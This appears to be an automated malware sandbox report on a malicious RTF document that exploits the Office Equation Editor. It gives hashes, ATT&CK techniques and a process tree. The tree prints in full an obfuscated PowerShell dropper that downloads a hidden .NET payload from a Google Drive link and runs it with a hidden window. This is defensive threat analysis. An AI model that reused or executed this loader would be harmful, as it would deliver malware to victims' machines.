af5bc41229045ab88d9c81992fdb442eb814a9cd765e8172480641359b44b6be

General

Target

xBA TM06-Q6-11-24.rtf
Size

354KB
MD5

d0f2558af01fafc92df8d82c60deb2bf
SHA1

a940bde8c8841e05199fa545fa521441f474d09a
SHA256

af5bc41229045ab88d9c81992fdb442eb814a9cd765e8172480641359b44b6be
SHA512

76bea085c98d8350fa1fbbd9f64297ef215252e7ad6dd05ee124a7ddcbbc0c49518fe1841776a56d0feed156c6a880dbce306bbdc59529175dd5a29185053be7
SSDEEP

3072:A1LnrgVqOj/5cAsFNM8AaG1mryxZB/0LuQIeavuFbKrppVNxd8vMW:A17OjhctN6uiBpJ2KTXxd8vMW

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	2200	EQNEDT32.EXE
7	2648	WScript.exe
8	2648	WScript.exe
10	1268	powershell.exe
12	1268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2676	powershell.exe
1268	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	drive.google.com
10	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2200	EQNEDT32.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3040	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2676	powershell.exe
1268	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3040	WINWORD.EXE
3040	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2648	2200	EQNEDT32.EXE	32
PID 2200 wrote to memory of 2648	2200	EQNEDT32.EXE	32
PID 2200 wrote to memory of 2648	2200	EQNEDT32.EXE	32
PID 2200 wrote to memory of 2648	2200	EQNEDT32.EXE	32
PID 2648 wrote to memory of 2676	2648	WScript.exe	34
PID 2648 wrote to memory of 2676	2648	WScript.exe	34
PID 2648 wrote to memory of 2676	2648	WScript.exe	34
PID 2648 wrote to memory of 2676	2648	WScript.exe	34
PID 2676 wrote to memory of 1268	2676	powershell.exe	36
PID 2676 wrote to memory of 1268	2676	powershell.exe	36
PID 2676 wrote to memory of 1268	2676	powershell.exe	36
PID 2676 wrote to memory of 1268	2676	powershell.exe	36
PID 3040 wrote to memory of 2036	3040	WINWORD.EXE	37
PID 3040 wrote to memory of 2036	3040	WINWORD.EXE	37
PID 3040 wrote to memory of 2036	3040	WINWORD.EXE	37
PID 3040 wrote to memory of 2036	3040	WINWORD.EXE	37

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\xBA TM06-Q6-11-24.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2036

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\uthghgjhiu.vbs"
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnbGRzaW1hZ2VVcmwgPSAnKydhRDlodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFVeUhxd3JuWENsS0JKM2o2M0xsMXQyU3RWZ0d4YlN0MCBhRDk7bGRzd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtsZHMnKydpbWFnZUJ5dGVzID0gbGRzd2ViQ2xpZW50LkRvd25sb2FkRCcrJ2F0YShsZHNpbWFnZVVybCk7bGRzaW1hZycrJ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcobGRzaW1hZ2VCeXRlcyk7bGRzc3RhcnRGbGFnID0gYUQ5PDxCQVNFNjRfU1RBUicrJ1Q+PmFEOTtsZHNlbmRGbGEnKydnID0gYUQ5PDxCQVNFNjRfRU5EPj5hRDk7bGRzcycrJ3RhcnRJbmQnKydleCA9IGxkc2ltYWdlVGV4dC5JbmRleE9mKGxkc3N0YXInKyd0RmxhZyk7bGRzZW5kSW5kZXggPScrJyBsZHNpbWFnZVRleHQuSW5kZXhPZihsZHMnKydlbmRGbGFnKTtsZHNzdGFydEluZGV4IC1nZSAwIC1hbmQgbGRzZW5kSW5kZXggLWd0IGxkc3N0YXJ0SW5kZXg7bGRzc3RhcnRJbmRleCArPSBsZHNzJysndGFydEZsYWcuTGVuZ3RoO2xkc2Jhc2U2NEwnKydlbmd0aCA9IGxkc2VuZEluZGV4IC0gbGRzc3RhcnRJbmRleDtsZHNiYXNlNjRDb21tYW5kID0gbGRzaW1hZ2VUZXh0LlN1YnN0cmluZyhsZHNzdGFydEluZGV4LCAnKydsZHNiYXNlNicrJzRMZW5ndGgpO2xkc2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKGxkc2Jhc2U2NENvbW1hJysnbmQuVG9DaGFyQXJyYXkoJysnKSBrajggRm9yRWFjaC1PYmplY3QgeyBsZHNfIH0pWy0xLi4tKGxkc2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07bGRzY29tbWFuZEJ5dGVzID0nKycgW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhsZHNiYXNlNjRSZXZlcnNlZCk7bGRzbG9hZGVkQXNzZW1ibHkgPSBbU3lzdCcrJ2VtLlJlZmwnKydlY3Rpb24uQXNzZW1ibHldOjpMb2FkKGxkc2NvbW1hbmRCeXRlcyk7bGRzdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLicrJ0dldE1ldGhvZChhRDlWQUlhRDkpO2xkc3ZhaU1ldGhvZC5JbnZva2UobGRzbnVsbCwgQChhRDl0eHQuZHN0ZXAvcG9wL3VlLnByZ3hhbXlncmVuZS5naWcvLzpzcHR0aGFEOSwgYUQ5ZGVzYXRpdmFkb2FEOSwgYUQ5ZGVzYXRpdmFkb2FEOScrJywgYUQ5ZGVzYXRpdmFkb2FEOSwgYUQ5ZGVzYXRpdmFkb2FEOSwnKycgYUQ5MWFEOSwgYUQ5ZHhkaWFnYUQ5LCBhRDlkZXNhdGl2YWRvYUQ5LCBhRDlkZXNhdGl2YScrJ2RvYUQ5LGFEOWRlc2F0aXZhZG9hRDksYUQ5ZGVzYXRpdmFkb2FEOSxhRDlkZXNhdGl2YWRvYUQ5LGFEOTFhRDksYUQ5ZGVzYXRpdmFkb2FEOSkpOycpICAtY3JFUGxBQ2UgJ2xkcycsW0NIYXJdMzYgIC1yZVBMQWNlKFtDSGFyXTk3K1tDSGFyXTY4K1tDSGFyXTU3KSxbQ0hhcl0zOSAgLWNyRVBsQUNlICdrajgnLFtDSGFyXTEyNCkgfC4gKCAkZW52OmNPbVNQRUNbNCwyNCwyNV0tSm9JbicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('ldsimageUrl = '+'aD9https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0 aD9;ldswebClient = New-Object System.Net.WebClient;lds'+'imageBytes = ldswebClient.DownloadD'+'ata(ldsimageUrl);ldsimag'+'eText = [System.Text.Encoding]::UTF8.GetString(ldsimageBytes);ldsstartFlag = aD9<<BASE64_STAR'+'T>>aD9;ldsendFla'+'g = aD9<<BASE64_END>>aD9;ldss'+'tartInd'+'ex = ldsimageText.IndexOf(ldsstar'+'tFlag);ldsendIndex ='+' ldsimageText.IndexOf(lds'+'endFlag);ldsstartIndex -ge 0 -and ldsendIndex -gt ldsstartIndex;ldsstartIndex += ldss'+'tartFlag.Length;ldsbase64L'+'ength = ldsendIndex - ldsstartIndex;ldsbase64Command = ldsimageText.Substring(ldsstartIndex, '+'ldsbase6'+'4Length);ldsbase64Reversed = -join (ldsbase64Comma'+'nd.ToCharArray('+') kj8 ForEach-Object { lds_ })[-1..-(ldsbase64Command.Length)];ldscommandBytes ='+' [System.Convert]::FromBase64String(ldsbase64Reversed);ldsloadedAssembly = [Syst'+'em.Refl'+'ection.Assembly]::Load(ldscommandBytes);ldsvaiMethod = [dnlib.IO.Home].'+'GetMethod(aD9VAIaD9);ldsvaiMethod.Invoke(ldsnull, @(aD9txt.dstep/pop/ue.prgxamygrene.gig//:sptthaD9, aD9desativadoaD9, aD9desativadoaD9'+', aD9desativadoaD9, aD9desativadoaD9,'+' aD91aD9, aD9dxdiagaD9, aD9desativadoaD9, aD9desativa'+'doaD9,aD9desativadoaD9,aD9desativadoaD9,aD9desativadoaD9,aD91aD9,aD9desativadoaD9));') -crEPlACe 'lds',[CHar]36 -rePLAce([CHar]97+[CHar]68+[CHar]57),[CHar]39 -crEPlACe 'kj8',[CHar]124) |. ( $env:cOmSPEC[4,24,25]-JoIn'')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
bdc5564e08a79ce12e0a192a8c7713f9

SHA1
0ca6b185b465ff7e546cea9ede812a8bd0d69eda

SHA256
34cfffd71b58709e39bddac0c52e4a7d54e1a21cf56c7242a85b0cabeba5b6f1

SHA512
3f7e2c7712ee52225807820db043d0de61ea1233dd1b6662e8df3fcfc07fbd1acafd47a3d0440be987cf5f83721b628e046f3682c784d566f4913a292512b889

Download Submit
C:\Users\Admin\AppData\Roaming\uthghgjhiu.vbs

Filesize
68KB

MD5
db28d13cc2983de1b94ee9acddc17cb4

SHA1
44cf8e7b24455cbcc9d3ffe9c4624ba08ac0958a

SHA256
bb18e892a74e8180a2f97c99c3889090ad34d59e0803376205429049b2c296fb

SHA512
420e6cc259e5ce0e05a785cec58436b19090ba7e6bfb379cc66fe0cb7b4fda02cb6f163cd9af735150060b7a9565a0a738f5d2057855df73b6121d72cd9aacf6

Download Submit
memory/1268-20-0x00000000051A0000-0x00000000051D8000-memory.dmp

Filesize
224KB

Download
memory/1268-22-0x00000000051E0000-0x000000000521D000-memory.dmp

Filesize
244KB

Download
memory/1268-21-0x00000000050E0000-0x00000000050F7000-memory.dmp

Filesize
92KB

Download
memory/3040-0-0x000000002FE31000-0x000000002FE32000-memory.dmp

Filesize
4KB

Download
memory/3040-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3040-2-0x000000007174D000-0x0000000071758000-memory.dmp

Filesize
44KB

Download
memory/3040-19-0x000000007174D000-0x0000000071758000-memory.dmp

Filesize
44KB

Download

Analysis

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